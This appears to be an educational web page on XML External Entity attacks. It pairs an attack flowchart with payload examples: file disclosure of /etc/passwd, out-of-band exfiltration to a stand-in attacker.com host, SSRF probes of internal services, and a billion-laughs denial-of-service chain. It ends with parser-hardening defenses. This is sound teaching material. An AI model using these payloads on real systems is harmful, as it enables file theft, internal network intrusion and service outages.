📄 XML External Entity (XXE) Attack Flow
Exploiting XML Parser Vulnerabilities
flowchart TD
A[👤 Attacker] -->|1. Craft malicious XML| B[📝 XXE Payload]
B -->|2. Submit to application| C[🌐 Web Application]
C -->|3. Parse XML| D[⚙️ XML Parser]
D -->|4. Process external entity| E[🔓 External Entity Resolution]
E -->|5. Read local files| F[📁 File System Access]
E -->|6. Make HTTP requests| G[🌍 SSRF to Internal Network]
E -->|7. Trigger DoS| H[💥 Billion Laughs Attack]
F -->|8. Exfiltrate /etc/passwd| I[🔑 Sensitive Files]
G -->|9. Scan internal network| J[🏢 Internal Services]
H -->|10. Memory exhaustion| K[💣 Service Crash]
I -->|11. Return in response| C
J -->|12. Return data| C
C -->|13. Leak to attacker| A
style A fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style B fill:#ffd43b,stroke:#f59e0b,stroke-width:2px,color:#000
style C fill:#74c0fc,stroke:#f59e0b,stroke-width:2px,color:#000
style D fill:#a855f7,stroke:#f59e0b,stroke-width:2px,color:#fff
style E fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style F fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style G fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style H fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style I fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style J fill:#a855f7,stroke:#f59e0b,stroke-width:2px,color:#fff
style K fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
L[🔒 Defense:
Disable External Entities] -.->|Secure parser config| D
M[🛡️ Defense:
Input Validation] -.->|Reject DOCTYPE| B
N[⚙️ Defense:
Use JSON] -.->|Avoid XML| C
style L fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
style M fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
style N fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
📋 Attack Flow Breakdown
1
Classic XXE - File Disclosure: Read sensitive files from the server.
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
2
Blind XXE - Out-of-Band Data Exfiltration:
<!ENTITY xxe SYSTEM "http://attacker.com/?data=file:///etc/hostname">
Server makes HTTP request to attacker with sensitive data
3
XXE to SSRF: Probe internal network through XML parser.
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/admin">
<!ENTITY xxe SYSTEM "http://localhost:6379/"> (Redis)
4
Billion Laughs Attack (DoS): Exponential entity expansion.
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
...
Causes massive memory consumption
5
Parameter Entity Injection: Use parameter entities for complex attacks.
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/?x=%file;'>">
6
Office Document Exploitation: XXE in DOCX, XLSX, PPTX files.
Upload malicious Office document with XXE payload
7
SVG XXE: Embed XXE in SVG images.
<svg xmlns="http://www.w3.org/2000/svg">
<!ENTITY xxe SYSTEM "file:///etc/passwd">
🛡️ Defense Mechanisms
✅ Disable External Entity Processing:
Configure XML parser to reject external entities and DTDs.
// Java
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
✅ Use Secure Parser Libraries:
Use modern, secure XML libraries with safe defaults.
Python: defusedxml | .NET: XmlReader with secure settings
✅ Input Validation:
Reject XML with DOCTYPE declarations.
if (xml.contains("<!DOCTYPE") || xml.contains("<!ENTITY")) reject();
✅ Use JSON Instead of XML:
Prefer JSON for data exchange when possible.
REST APIs: Use JSON, avoid XML when not necessary
✅ Whitelist Allowed Protocols:
If external entities needed, whitelist specific protocols/URIs.
Allow only: https://trusted-domain.com/schemas/
✅ Patch and Update:
Keep XML parser libraries up-to-date.
Vulnerable: libxml2 < 2.9.0, Xerces, etc.
✅ Network Segmentation:
Limit XML parser's network access to prevent SSRF.